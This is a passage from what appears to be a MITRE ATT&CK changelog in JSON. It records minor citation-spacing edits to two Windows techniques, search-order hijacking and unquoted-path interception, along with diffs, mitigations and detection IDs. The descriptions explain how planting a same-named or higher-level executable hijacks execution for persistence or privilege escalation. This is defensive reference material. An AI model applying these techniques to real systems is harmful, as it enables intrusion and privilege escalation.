                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:05:50.979000+00:00\", \"old_value\": \"2026-05-12 15:12:00.635000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\\n\\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program.(Citation: Microsoft CreateProcess)(Citation: Windows NT Command Shell)(Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\\n\\nFor example, \\\"example.exe\\\" runs \\\"cmd.exe\\\" with the command-line argument <code>net user</code>. An adversary may place a program called \\\"net.exe\\\" within the same directory as example.exe, \\\"net.exe\\\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \\\"net.com\\\" in the same directory as \\\"net.exe\\\", then <code>cmd.exe /C net user</code> will execute \\\"net.com\\\" instead of \\\"net.exe\\\" due to the order of executable extensions defined under PATHEXT.(Citation: Microsoft Environment Property)\\n\\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\\n\\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\\n\\nFor example, \\\"example.exe\\\" runs \\\"cmd.exe\\\" with the command-line argument <code>net user</code>. An adversary may place a program called \\\"net.exe\\\" within the same directory as example.exe, \\\"net.exe\\\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \\\"net.com\\\" in the same directory as \\\"net.exe\\\", then <code>cmd.exe /C net user</code> will execute \\\"net.com\\\" instead of \\\"net.exe\\\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\\n\\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\\n \\n-Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\\n+Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program.(Citation: Microsoft CreateProcess)(Citation: Windows NT Command Shell)(Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\\n \\n-For example, \\\"example.exe\\\" runs \\\"cmd.exe\\\" with the command-line argument <code>net user</code>. An adversary may place a program called \\\"net.exe\\\" within the same directory as example.exe, \\\"net.exe\\\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \\\"net.com\\\" in the same directory as \\\"net.exe\\\", then <code>cmd.exe /C net user</code> will execute \\\"net.com\\\" instead of \\\"net.exe\\\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\\n+For example, \\\"example.exe\\\" runs \\\"cmd.exe\\\" with the command-line argument <code>net user</code>. An adversary may place a program called \\\"net.exe\\\" within the same directory as example.exe, \\\"net.exe\\\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \\\"net.com\\\" in the same directory as \\\"net.exe\\\", then <code>cmd.exe /C net user</code> will execute \\\"net.com\\\" instead of \\\"net.exe\\\" due to the order of executable extensions defined under PATHEXT.(Citation: Microsoft Environment Property)\\n \\n Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to54__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to54__0\"><a href=\"#difflib_chg_to54__top\">t</a></td><td class=\"diff_header\" id=\"from54_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td><td class=\"diff_next\"><a href=\"#difflib_chg_to54__top\">t</a></td><td class=\"diff_header\" id=\"to54_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;the&nbsp;search&nbsp;order&nbsp;used&nbsp;to&nbsp;load&nbsp;other&nbsp;programs.&nbsp;Because&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;the&nbsp;search&nbsp;order&nbsp;used&nbsp;to&nbsp;load&nbsp;other&nbsp;programs.&nbsp;Because&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">some&nbsp;programs&nbsp;do&nbsp;not&nbsp;call&nbsp;other&nbsp;programs&nbsp;using&nbsp;the&nbsp;full&nbsp;path</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">some&nbsp;programs&nbsp;do&nbsp;not&nbsp;call&nbsp;other&nbsp;programs&nbsp;using&nbsp;the&nbsp;full&nbsp;path</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;adversaries&nbsp;may&nbsp;place&nbsp;their&nbsp;own&nbsp;file&nbsp;in&nbsp;the&nbsp;directory&nbsp;wher</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;adversaries&nbsp;may&nbsp;place&nbsp;their&nbsp;own&nbsp;file&nbsp;in&nbsp;the&nbsp;directory&nbsp;wher</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;the&nbsp;calling&nbsp;program&nbsp;is&nbsp;located,&nbsp;causing&nbsp;the&nbsp;operating&nbsp;syst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;the&nbsp;calling&nbsp;program&nbsp;is&nbsp;located,&nbsp;causing&nbsp;the&nbsp;operating&nbsp;syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;to&nbsp;launch&nbsp;their&nbsp;malicious&nbsp;software&nbsp;at&nbsp;the&nbsp;request&nbsp;of&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;to&nbsp;launch&nbsp;their&nbsp;malicious&nbsp;software&nbsp;at&nbsp;the&nbsp;request&nbsp;of&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">calling&nbsp;program.&nbsp;&nbsp;Search&nbsp;order&nbsp;hijacking&nbsp;occurs&nbsp;when&nbsp;an&nbsp;adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">calling&nbsp;program.&nbsp;&nbsp;Search&nbsp;order&nbsp;hijacking&nbsp;occurs&nbsp;when&nbsp;an&nbsp;adve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsary&nbsp;abuses&nbsp;the&nbsp;order&nbsp;in&nbsp;which&nbsp;Windows&nbsp;searches&nbsp;for&nbsp;program</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsary&nbsp;abuses&nbsp;the&nbsp;order&nbsp;in&nbsp;which&nbsp;Windows&nbsp;searches&nbsp;for&nbsp;program</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;are&nbsp;not&nbsp;given&nbsp;a&nbsp;path.&nbsp;Unlike&nbsp;[DLL](https://attack.mit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;are&nbsp;not&nbsp;given&nbsp;a&nbsp;path.&nbsp;Unlike&nbsp;[DLL](https://attack.mit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1574/001)&nbsp;search&nbsp;order&nbsp;hijacking,&nbsp;the&nbsp;sea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1574/001)&nbsp;search&nbsp;order&nbsp;hijacking,&nbsp;the&nbsp;sea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rch&nbsp;order&nbsp;differs&nbsp;depending&nbsp;on&nbsp;the&nbsp;method&nbsp;that&nbsp;is&nbsp;used&nbsp;to&nbsp;ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rch&nbsp;order&nbsp;differs&nbsp;depending&nbsp;on&nbsp;the&nbsp;method&nbsp;that&nbsp;is&nbsp;used&nbsp;to&nbsp;ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecute&nbsp;the&nbsp;program.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;CreateProcess)<span class=\"diff_sub\">&nbsp;</span>(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecute&nbsp;the&nbsp;program.(Citation:&nbsp;Microsoft&nbsp;CreateProcess)(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Windows&nbsp;NT&nbsp;Command&nbsp;Shell)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;WinExec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Windows&nbsp;NT&nbsp;Command&nbsp;Shell)(Citation:&nbsp;Microsoft&nbsp;WinExec)&nbsp;H</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;However,&nbsp;it&nbsp;is&nbsp;common&nbsp;for&nbsp;Windows&nbsp;to&nbsp;search&nbsp;in&nbsp;the&nbsp;directo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">owever,&nbsp;it&nbsp;is&nbsp;common&nbsp;for&nbsp;Windows&nbsp;to&nbsp;search&nbsp;in&nbsp;the&nbsp;directory&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;of&nbsp;the&nbsp;initiating&nbsp;program&nbsp;before&nbsp;searching&nbsp;through&nbsp;the&nbsp;Wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;the&nbsp;initiating&nbsp;program&nbsp;before&nbsp;searching&nbsp;through&nbsp;the&nbsp;Windo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndows&nbsp;system&nbsp;directory.&nbsp;An&nbsp;adversary&nbsp;who&nbsp;finds&nbsp;a&nbsp;program&nbsp;vul</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;system&nbsp;directory.&nbsp;An&nbsp;adversary&nbsp;who&nbsp;finds&nbsp;a&nbsp;program&nbsp;vulner</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nerable&nbsp;to&nbsp;search&nbsp;order&nbsp;hijacking&nbsp;(i.e.,&nbsp;a&nbsp;program&nbsp;that&nbsp;does</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">able&nbsp;to&nbsp;search&nbsp;order&nbsp;hijacking&nbsp;(i.e.,&nbsp;a&nbsp;program&nbsp;that&nbsp;does&nbsp;no</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;not&nbsp;specify&nbsp;the&nbsp;path&nbsp;to&nbsp;an&nbsp;executable)&nbsp;may&nbsp;take&nbsp;advantage&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;specify&nbsp;the&nbsp;path&nbsp;to&nbsp;an&nbsp;executable)&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;this&nbsp;vulnerability&nbsp;by&nbsp;creating&nbsp;a&nbsp;program&nbsp;named&nbsp;after&nbsp;the&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">his&nbsp;vulnerability&nbsp;by&nbsp;creating&nbsp;a&nbsp;program&nbsp;named&nbsp;after&nbsp;the&nbsp;impr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mproperly&nbsp;specified&nbsp;program&nbsp;and&nbsp;placing&nbsp;it&nbsp;within&nbsp;the&nbsp;initia</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">operly&nbsp;specified&nbsp;program&nbsp;and&nbsp;placing&nbsp;it&nbsp;within&nbsp;the&nbsp;initiatin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ting&nbsp;program's&nbsp;directory.&nbsp;&nbsp;For&nbsp;example,&nbsp;\"example.exe\"&nbsp;runs&nbsp;\"</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;program's&nbsp;directory.&nbsp;&nbsp;For&nbsp;example,&nbsp;\"example.exe\"&nbsp;runs&nbsp;\"cmd</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cmd.exe\"&nbsp;with&nbsp;the&nbsp;command-line&nbsp;argument&nbsp;&lt;code&gt;net&nbsp;user&lt;/code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.exe\"&nbsp;with&nbsp;the&nbsp;command-line&nbsp;argument&nbsp;&lt;code&gt;net&nbsp;user&lt;/code&gt;.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;.&nbsp;An&nbsp;adversary&nbsp;may&nbsp;place&nbsp;a&nbsp;program&nbsp;called&nbsp;\"net.exe\"&nbsp;within&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;place&nbsp;a&nbsp;program&nbsp;called&nbsp;\"net.exe\"&nbsp;within&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;same&nbsp;directory&nbsp;as&nbsp;example.exe,&nbsp;\"net.exe\"&nbsp;will&nbsp;be&nbsp;run&nbsp;ins</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;same&nbsp;directory&nbsp;as&nbsp;example.exe,&nbsp;\"net.exe\"&nbsp;will&nbsp;be&nbsp;run&nbsp;instea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tead&nbsp;of&nbsp;the&nbsp;Windows&nbsp;system&nbsp;utility&nbsp;net.&nbsp;In&nbsp;addition,&nbsp;if&nbsp;an&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;of&nbsp;the&nbsp;Windows&nbsp;system&nbsp;utility&nbsp;net.&nbsp;In&nbsp;addition,&nbsp;if&nbsp;an&nbsp;adve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;places&nbsp;a&nbsp;program&nbsp;called&nbsp;\"net.com\"&nbsp;in&nbsp;the&nbsp;same&nbsp;direc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsary&nbsp;places&nbsp;a&nbsp;program&nbsp;called&nbsp;\"net.com\"&nbsp;in&nbsp;the&nbsp;same&nbsp;director</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tory&nbsp;as&nbsp;\"net.exe\",&nbsp;then&nbsp;&lt;code&gt;cmd.exe&nbsp;/C&nbsp;net&nbsp;user&lt;/code&gt;&nbsp;wil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;as&nbsp;\"net.exe\",&nbsp;then&nbsp;&lt;code&gt;cmd.exe&nbsp;/C&nbsp;net&nbsp;user&lt;/code&gt;&nbsp;will&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;execute&nbsp;\"net.com\"&nbsp;instead&nbsp;of&nbsp;\"net.exe\"&nbsp;due&nbsp;to&nbsp;the&nbsp;order&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecute&nbsp;\"net.com\"&nbsp;instead&nbsp;of&nbsp;\"net.exe\"&nbsp;due&nbsp;to&nbsp;the&nbsp;order&nbsp;of&nbsp;ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;executable&nbsp;extensions&nbsp;defined&nbsp;under&nbsp;PATHEXT.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Mic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecutable&nbsp;extensions&nbsp;defined&nbsp;under&nbsp;PATHEXT.(Citation:&nbsp;Microso</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rosoft&nbsp;Environment&nbsp;Property)&nbsp;&nbsp;Search&nbsp;order&nbsp;hijacking&nbsp;is&nbsp;also</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ft&nbsp;Environment&nbsp;Property)&nbsp;&nbsp;Search&nbsp;order&nbsp;hijacking&nbsp;is&nbsp;also&nbsp;a&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;common&nbsp;practice&nbsp;for&nbsp;hijacking&nbsp;DLL&nbsp;loads&nbsp;and&nbsp;is&nbsp;covered&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ommon&nbsp;practice&nbsp;for&nbsp;hijacking&nbsp;DLL&nbsp;loads&nbsp;and&nbsp;is&nbsp;covered&nbsp;in&nbsp;[DL</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[DLL](https://attack.mitre.org/techniques/T1574/001).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">L](https://attack.mitre.org/techniques/T1574/001).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1038: Execution Prevention",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0564: Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-13 13:51:58.519000+00:00",
                    "modified": "2026-11-04 01:06:34.300000+00:00",
                    "name": "Path Interception by Unquoted Path",
                    "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths(Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>).(Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.(Citation: Windows Unquoted Services)(Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1574/009",
                            "external_id": "T1574.009"
                        },
                        {
                            "source_name": "Windows Privilege Escalation Guide",
                            "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
                            "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
                        },
                        {
                            "source_name": "Windows Unquoted Services",
                            "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
                            "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"
                        },
                        {
                            "source_name": "Help eliminate unquoted path",
                            "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.",
                            "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
                        },
                        {
                            "source_name": "Microsoft CurrentControlSet Services",
                            "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.",
                            "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Stefan Kanthak"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:06:34.300000+00:00\", \"old_value\": \"2026-05-12 15:12:00.713000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\\n\\nService paths(Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\\\unsafe path with space\\\\program.exe</code> vs. <code>\\\"C:\\\\safe path with space\\\\program.exe\\\"</code>).(Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\\\program files\\\\myapp.exe</code>, an adversary may create a program at <code>C:\\\\program.exe</code> that will be run instead of the intended program.(Citation: Windows Unquoted Services)(Citation: Windows Privilege Escalation Guide)\\n\\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\\n\\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\\\unsafe path with space\\\\program.exe</code> vs. <code>\\\"C:\\\\safe path with space\\\\program.exe\\\"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\\\program files\\\\myapp.exe</code>, an adversary may create a program at <code>C:\\\\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\\n\\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\\n \\n-Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\\\unsafe path with space\\\\program.exe</code> vs. <code>\\\"C:\\\\safe path with space\\\\program.exe\\\"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\\\program files\\\\myapp.exe</code>, an adversary may create a program at <code>C:\\\\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\\n+Service paths(Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\\\unsafe path with space\\\\program.exe</code> vs. <code>\\\"C:\\\\safe path with space\\\\program.exe\\\"</code>).(Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\\\program files\\\\myapp.exe</code>, an adversary may create a program at <code>C:\\\\program.exe</code> that will be run instead of the intended program.(Citation: Windows Unquoted Services)(Citation: Windows Privilege Escalation Guide)\\n \\n This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\"}}}",
                    "previous_version": "2.0",
